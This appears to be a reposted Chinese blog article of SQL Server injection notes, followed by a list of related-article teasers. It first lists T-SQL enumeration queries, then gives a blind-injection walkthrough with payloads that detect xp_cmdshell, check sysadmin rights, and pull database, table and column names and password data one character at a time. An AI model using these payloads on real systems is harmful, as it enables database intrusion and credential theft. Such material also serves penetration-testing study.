SQL SERVER的注入要点

2023-11-16

SQL SERVER的注入要点

一、SQLServer数据库的查询语句

#函数查询
1.select @@version; 				#查询数据库的版本
2.select host_name(); 				#查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
3.select db_name();					#查询当前数据库名
4.select user;						#查询当前数据库的拥有者,结果为dbo。dbo是每个数据库的默认用户,										具有所有者权限全称:databaseOwner,即DbOwner
5.use tempdb						#切换到tempdb表
6.top n								#查询前n条记录
7.limit 2,3							#查询第2条开始的3条数据,也就是2,3,4
8.select substring('string',2,1)    #截取给定字符串的索引为2的1个字符
9.select ascii('a')                 #查询给定字符串的ascii值
10.select len('string')             #查询给定字符串的长度

#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB

#查询数据库
select count(name) from sys.databases     #查询数据库的个数
select name  from sys.databases           #查询数据库的名字
select * from sys.databases               #查询所有数据库的信息

#查询数据表
select * from sysobjects where type='u'  #查询当前数据库的所有表的详细信息
select count(name) from msdb..sysobjects where xtype='U'  #查询指定msdb数据库中表的个数
select name from msdb..sysobjects where xtype='U'         #查询指定msdb数据库中表的名字
select * from msdb..sysobjects where xtype='U'            #查询指定msdb数据库中表的详细信息

#查询列
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users')           			#查询当前数据库的指定users表的所有列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')  #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')        #查询指定test数据库的指定users表的所有列
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')        #查询指定test数据库的指定users表的列的详细信息

#查询数据
select count(*) from test..user          #查询test数据库user表的数据的条数
select * from test..user                 #查询test数据库user表的所有数据

二、SQLServer盲注

1.Access数据库特有的表是:msysobjects ,所以可以用它来判断是否是Access数据库

exists(select*from msysobjects)  

2.判断xp_cmdshell是否存在存在

and 1=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')  

3.判断当前数据库用户权限

and 1=(IS_SRVROLEMEMBER('sysadmin'))        //返回正常为sa
and 1=(IS_MEMBER('db_owner'))               //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public'))          //public权限,较低

4.判断数据库的个数

and (select count(name) from sysdatabases)>N

5.判断dbid,一般数据库有多少个,dbid的值就为多少

 and (select count(*) from sysdatabases where dbid=N)=1

6.判断当前数据库名

#判断数据库的长度,由以下得知数据库的长度是8
and len(db_name())>5         //正常显示
and len(db_name())>10        //不正常显示
and len(db_name())>7         //正常显示  
and len(db_name())>8         //不正常显示

#判断数据库字符的ascii值
and ascii(substring(db_name(),1,1))>95   //正常显示
and ascii(substring(db_name(),1,1))>100  //不正常显示
and ascii(substring(db_name(),1,1))>96   //正常显示
and ascii(substring(db_name(),1,1))>97   //不正常显示

#所以数据库的第一个字符的ascii值为97,即为a。
#以此类推,数据库的第二个字符为  and ascii(substring(db_name(),2,1))>97 
         数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97 
#直到爆出数据库最后一位字符,得到数据库名字。

7.根据dbid得到所有数据库名

判断dbid数据库的长度,由以下得知dbid为1数据库的长度是8
and len(db_name(1))>5         //正常显示
and len(db_name(1))>10        //不正常显示
and len(db_name(1))>7         //正常显示  
and len(db_name(1))>8         //不正常显示

判断dbid为2数据库字符的ascii值
and ascii(substring(db_name(2),1,1))>95   //正常显示
and ascii(substring(db_name(2),1,1))>100  //不正常显示
and ascii(substring(db_name(2),1,1))>96   //正常显示
and ascii(substring(db_name(2),1,1))>97   //不正常显示

所以dbid为1数据库的第一个字符的ascii值为97,即为a。

以此类推,数据库的第二个字符为  and ascii(substring(db_name(),2,1))>97 
         数据库的第三个字符为 and ascii(substring(db_name(),3,1))>97 
直到爆出数据库最后一位字符,得到数据库名字。

这里假设我们知道了数据库中存在 test 数据库

8.爆破test数据库中表的个数

and (select count(name) from test..sysobjects where xtype='U')>N

9.爆破test数据库中表的长度和名称

#爆破test数据库中第一个表的长度:
and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 1 id from test..sysobjects where xtype='U')))=N
#爆破test数据库中第一个表的第一个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),1,1))>115
#爆破test数据库中第一个表的第二个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),2,1))>115
#爆破test数据库中第一个表的第三个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),3,1))>115
.......

#爆破test数据库中第二个表的长度:
and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 2 id from msdb..sysobjects where xtype='U')))=N
#爆破test数据库中第二个表的第一个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),1,1))>115
#爆破test数据库中第二个表的第二个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),2,1))>115
#爆破test数据库中第二个表的第三个字符的ascii值:
and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),3,1))>115
.......

这里假设我们爆出了user表

10.爆破test数据库中user表的列数

and (select count(name) from test..syscolumns where id=(select id from test..sysobjects where name='user'))=N

11.爆破test数据库中user表的列名

爆破test数据库中user表的第一列的长度:
and len((select top 1 col_name(object_id('user'),1) from test..sysobjects))>10
爆破test数据库中user表的第一列的第一个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),1,1))>97
爆破test数据库中user表的第一列的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),2,1))>97
爆破test数据库中user表的第一列的第三个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),3,1))>97
........

爆破test数据库中user表的第二列的长度:
and len((select top 1 col_name(object_id('user'),2) from test..sysobjects))>10
爆破test数据库中user表的第二列的第一个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),1,1))>97
爆破test数据库中user表的第二列的第二个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),2,1))>97
爆破test数据库中user表的第二列的第三个字符的ascii值:
and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),3,1))>97
........

这里假设我们爆出了password列

12.爆出test数据库中user表中password列的数据条数

and (select count(*) from test..user)=N

13.爆破test数据库中user表中password列中的数据

#爆破test数据库中user表中password列中第一行数据的长度
and (select top 1 len(password) from test..user  where  password not in (select top 1 id from test..user))>N
#爆破test数据库中user表中password列中第一行数据的第一个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),1,1))>10
#爆破test数据库中user表中password列中第一行数据的第二个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),2,1))>10
#爆破test数据库中user表中password列中第一行数据的第三个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),3,1))>10
........
 
#爆破test数据库中user表中password列中第二行数据的长度
and (select top 1 len(password) from test..user  where  password not in (select top 2 id from test..user))>N
#爆破test数据库中user表中password列中第二行数据的第一个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),1,1))>10
#爆破test数据库中user表中password列中第二行数据的第二个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),2,1))>10
#爆破test数据库中user表中password列中第二行数据的第三个字符的ascii值
and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),3,1))>10
........

参考链接:https://blog.csdn.net/qq_36119192/article/details/88679754

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL SERVER的注入要点 的相关文章

  • 如何处理不稳定的自动化测试?

    abluecolor 在解决这个问题之前 请停止编写更多测试 因为这将花费你较高的测试维护成本 你需要尽快行动起来对不稳定的原因进行深入研究 找到不稳定的根因 并且尝试在流程 环境和代码方面做一些优化工作解决它 MasterKindew 如
  • Nexus5596交换机支持3层需要的子卡

    3层子卡 nexus5596如果没有这块子卡 无法支持3层特性 TEST Cisco N5596 1 show modu Mod Ports Module Type Model Status 1 48 O2 32X10GBase T 16X
  • 天猫数据分析工具推荐(天猫第三方数据平台)

    在电商迅速发展的大背景下 做好天猫数据分析能够在多方面帮助品牌商家更好地运营店铺 塑造品牌 如通过数据分析了解消费者的需求 购买偏好 这有利于品牌商家及时调整商品结构 产品推广 商品宣传等等 灵活制定品牌的销售策略 那么 天猫平台行业 品牌
  • 我当年自学黑客(网络安全)的一些心得!(内附学习笔记)

    前 言 写这篇教程的初衷是很多朋友都想了解如何入门 转行网络安全 实现自己的 黑客梦 文章的宗旨是 1 指出一些自学的误区 2 提供客观可行的学习表 3 推荐我认为适合小白学习的资源 大佬绕道哈 文末有福利 一 自学网络安全学习的误区和陷阱
  • 通过一个寒假能学会黑客技术吗?看完你就知道了

    一个寒假能成为黑客吗 资深白帽子来告诉你 如果你想的是学完去美国五角大楼内网随意溜达几圈 想顺走一点机密文件的话 劝你还是趁早放弃 但是成为一名初级黑客还是绰绰有余的 你只需要掌握好渗透测试 Web安全 数据库 搞懂web安全防护 SQL注
  • 蜜罐技术是指什么?

    特殊设计的安全措施 蜜罐技术 是一种特殊设计的安全措施 其主要目的是为了吸引并诱骗潜在的 网络攻击者 这种技术涉及布置诱饵主机 网络服务和信息 旨在引诱攻击者在不知情的情况下对其发起攻击 一旦攻击发生 蜜罐便能够捕获和分析攻击者的行为 从而
  • python按列写入数据到excel

    要将数据按列写入 Excel 可以使用 Python 的 openpyxl 库 首先 需要安装 openpyxl 库 可以使用以下命令在终端或命令提示符中安装 pip install openpyxl 然后 可以按照以下步骤编写代码 1 导
  • 成为一个黑客,就按照这个路线来!

    前几天一个同学在聊天中提到毕业后想要从事网络安全方向的工作 虽然他本身也是学计算机的 但是又怕心有余而力不足 因为 从事网络安全方面的工作向来起点都比较高 大学里少有开设这类课程的 在学校能够学到的知识比较有限 网上的关于这方面课程的质量又
  • 网络空间安全女生就业,怎么学?

    我实验室的学长们基本都是以红队和复现为主 如果学校好点可能还有更多的选择 如果想在这个方向深入下去 推荐流程是先打两年CTF 把大概的技术方向摸一摸 大一的话 如果学校还不错 那就优先建议打好基础 包括C语言 Python一类 建议把CTF
  • 【计算机毕业设计】实验室预约管理

    身处网络时代 随着网络系统体系发展的不断成熟和完善 人们的生活也随之发生了很大的变化 人们在追求较高物质生活的同时 也在想着如何使自身的精神内涵得到提升 而读书就是人们获得精神享受非常重要的途径 为了满足人们随时随地只要有网络就可以看书的要
  • 【计算机毕业设计】航空信息管理系统

    传统信息的管理大部分依赖于管理人员的手工登记与管理 然而 随着近些年信息技术的迅猛发展 让许多比较老套的信息管理模式进行了更新迭代 飞机票信息因为其管理内容繁杂 管理数量繁多导致手工进行处理不能满足广大用户的需求 因此就应运而生出相应的航空
  • 【计算机毕业设计】网上拍卖系统

    现代经济快节奏发展以及不断完善升级的信息化技术 让传统数据信息的管理升级为软件存储 归纳 集中处理数据信息的管理方式 本网上拍卖系统就是在这样的大环境下诞生 其可以帮助使用者在短时间内处理完毕庞大的数据信息 使用这种软件工具可以帮助管理人员
  • APP端网络测试与弱网模拟

    当前APP网络环境比较复杂 网络制式有2G 3G 4G网络 还有越来越多的公共Wi Fi 不同的网络环境和网络制式的差异 都会对用户使用app造成一定影响 另外 当前app使用场景多变 如进地铁 上公交 进电梯等 使得弱网测试显得尤为重要
  • 【网络安全】Facebook代码执行实现命令执行、敏感信息泄露

    部分网站开设编码练习 若安全配置不当 则代码执行将升级为操作系统命令注入 导致敏感信息泄露 本文仅分享命令执行相关知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 未经许可 不可转载 文章目录 信息泄露 扩大危害 信息
  • 【计算机毕业设计】宝鸡文理学院学生成绩动态追踪系统

    研究开发宝鸡文理学院学生成绩动态追踪系统的目的是让使用者可以更方便的将人 设备和场景更立体的连接在一起 能让用户以更科幻的方式使用产品 体验高科技时代带给人们的方便 同时也能让用户体会到与以往常规产品不同的体验风格 与安卓 iOS相比较起来
  • 【ES6】解构语句中的冒号(:)

    在解构赋值语法中 冒号 的作用是为提取的字段指定一个新的变量名 让我们以示例 const billCode code version route query 来说明 billCode code version 表示从 route query
  • Oracle EBS AP发票导入 API Rejection List 第二部分

    Oracle EBS AP发票导入 API Rejection List 第二部分 The report lists the reason the invoice could not be imported and prints a bri
  • 数据库 | 面试官:一次到底插入多少条数据合适啊?.....面试连环炮

    数据库 面试官 一次到底插入多少条数据合适啊 面试连环炮 数据库插入操作的基础知识 插入数据是数据库操作中的基础 但是 我们程序员将面临随之而来的问题 如何快速有效地插入数据 并保持数据库 性能 当你向数据库中插入数据时 这些数据直接存储到
  • Redis分布式锁--java实现

    文章目录 Redis分布式锁 方案 SETNX EXPIRE 基本原理 比较好的实现 会产生四个问题 几种解决原子性的方案
  • 为什么我强烈推荐大学生打CTF!

    前言 写这个文章是因为我很多粉丝都是学生 经常有人问 感觉大一第一个学期忙忙碌碌的过去了 啥都会一点 但是自己很难系统的学习到整个知识体系 很迷茫 想知道要如何高效学习 这篇文章我主要就围绕两点 减少那些罗里吧嗦的废话 直接上干货 CTF如

随机推荐

  • C语言-数组

    目录 一 一维数组 1 1 数组的创建 1 2 数组的初始化 1 3 一维数组的使用 1 4 一维数组在内存的存储 二 二维数组 2 1 二维数组的创建 2 2 二维数组初始化 2 3 二维数组使用 2 4 二维数组的存储 三 数组越界 四
  • 任意文件查看与下载漏洞

    任意文件查看与下载漏洞 一些网站的业务需求 可能提供文件查看或下载功能 如果对用户查看或下载的文件不做限制 就能够查看或下载任意的文件 可以是源代码文件 敏感文件等等 形成漏洞的原因 存在读取文件的函数 读取文件的路径用户可控且未校验或校验
  • 羊、狼、农夫过河

    题目来自 33条消息 羊 狼 农夫过河 华为OD真题 100 keven000777的博客 CSDN博客 题目内容 这个题目比较重要的地方就是农夫回程时不能携带动物 因此问题就稍微简单了一些 我拜读了这位老哥的文章 并在他的代码基础上修改了
  • React总结7:render()渲染时机

    根据官网表示 JSX是属于一种不可变的对象 即只要一创建就不能被改变 继续我们c Java中的字符串一样 是属于常量范围 不容许改变 不能改变属性啊 孩子节点也不可以改变 这个元素就像电影中的某一帧 是处于一个确定的时间点上 不管你放多少遍
  • 互联网产品经理在线原型设计工具Cacoo(草稿)

    费注册地址 https cacoo com 注册后即可使用 用户交流地址 http www masterchat cn bbs thread 85 1 1 html Cacoo 草稿 简介 实时交互地在线制作图表 Cacoo是在线制作 发布
  • 剑指 Offer 14- I—剪绳子

    题目描述 给你一根长度为 n 的绳子 请把绳子剪成整数长度的 m 段 m n都是整数 n gt 1并且m gt 1 每段绳子的长度记为 k 0 k 1 k m 1 请问 k 0 k 1 k m 1 可能的最大乘积是多少 例如 当绳子的长度是
  • 滚动条的使用

    滚动条需要父盒子有固定的高度宽度 而且父盒子内的内容超过固定的高度宽度并使用overflow auto 就能在相应的位置出现滚动条
  • 波场通过TRON-WEB转账加备注实现

    向转账交易信息中追加 备注信息 await tronWeb transactionBuilder addUpdateData res transaction 备注信息 utf8 对已经添加备注的交易信息进行签名 let sign await
  • phpmyadmin 4.8 版本无法登陆问题

    如图 这个问题困扰题主好久了 今天晚上终于搞定 进入mysql 输入 status 得到以下信息 把 var lib mysql mysql sock 记下来 到phpmyadmin目录下的libraries 编辑config defaul
  • Visio高级使用技巧(未完待续)

    简介 Microsoft Visio是Microsoft Office的组件之一 Office三件套 Word Excel PowerPoint 的铁粉可不能错过它 Visio是一款流程图制作工具和图表绘制软件 具有与Office三件套相似
  • 虚拟机重启网卡失败记录修改方法

    1 使用systemctl status network service命令查看错误详情 2 出现这种报错一般是和 NetworkManager 服务冲突导致的 直接关闭 NetworkManger 服务就好了 关闭NetworkManag
  • 达摩院发布2021十大科技趋势(附PDF版)

    关注ITValue 看企业级最新鲜 最价值报道 刚刚 阿里巴巴达摩院发布2021十大科技趋势 这是达摩院成立三年以来第三次发布年度科技趋势 2020年是不平凡的一年 经历疫情的洗礼 许多行业重启向上而生的螺旋 但疫情并未阻挡科技前进的脚步
  • ELK的优点和局限性

    ELK作为一种开源的日志管理解决方案 具有以下优点 实时性高 ELK可以实现实时索引和搜索 支持高效的日志收集和处理 可以帮助用户及时发现问题和异常 提高系统的响应速度和稳定性 可扩展性强 ELK的架构支持水平扩展和负载均衡 可以根据需要增
  • 为什么打两拍可以消除亚稳态的影响?

    为什么打两拍可以消除亚稳态的影响 首先 我们需要了解什么是亚稳态 看下图 简单来说 就是当时钟信号上升沿到来的时候正好采样的数据也在发生变化 但是对于采样的时钟信号 如果想要采样得到一个稳定值 在clk的上升沿的前一段时间有一个建立时间TS
  • 举例说明使用MATLAB Coder从MATLAB生成C/C++代码步骤

    MATLAB Coder可以从MATLAB代码生成独立的 可读性强 可移植的C C 代码 使用MATLAB Coder产生代码的3个步骤 准备用于产生代码的MATLAB算法 检查MATLAB代码的兼容性 有些matlab代码语句并不能生成c
  • 静态代码检测

    什么是静态代码分析 静态代码分析是一种在软件开发过程中对源代码进行分析的技术 它通过检查代码的结构 语法 语义等方面 以发现潜在的错误 安全漏洞 性能问题等 并提供相应的建议和警告 与动态测试方法 如单元测试 不同 静态代码分析是在代码执行
  • 【用户体验分析报告】 按需加载组件,导致组件渲染卡顿,影响交互体验?组件拆包&预加载方案来了!

    首先 我们看一些针对 如何提升应用首屏加载体验 的文章 提到的必不可少的措施 便是减少首屏幕加载资源的大小 而减少资源大小必然会想到按需加载措施 本文提到的便是一个基于webpack 插件与 react 组件实现的一套研发高度自定义 组件按
  • [Mac SSH]如何在Terminal端删除或修改已上传文件夹

    如何在Terminal删除或修改Github已上传文件夹 Step 1 找到路径 Step 2 修改或删除文件 Step 3 Commit to Github Step 4 Push 修改 Step 1 找到路径 在Terminal 上 c
  • Git教程个人分享:如何将一个本地项目上传至远程仓库的流程

    前言 今天来分享一下 关于Git的一些教程 同时这也是我自己曾今学习Git时候的笔记 之所以更 也是方便后期自己可以去回顾 当然后面也会出一部分关于Git其他操作方面的内容 这次我们分享的是 如何将一个本地项目上传至远程仓库的流程 相信这个
  • SQL SERVER的注入要点

    SQL SERVER的注入要点 一 SQLServer数据库的查询语句 函数查询 1 select version 查询数据库的版本 2 select host name 查询主机名 如果是用navicat远程连接的话 主机名是本地的名字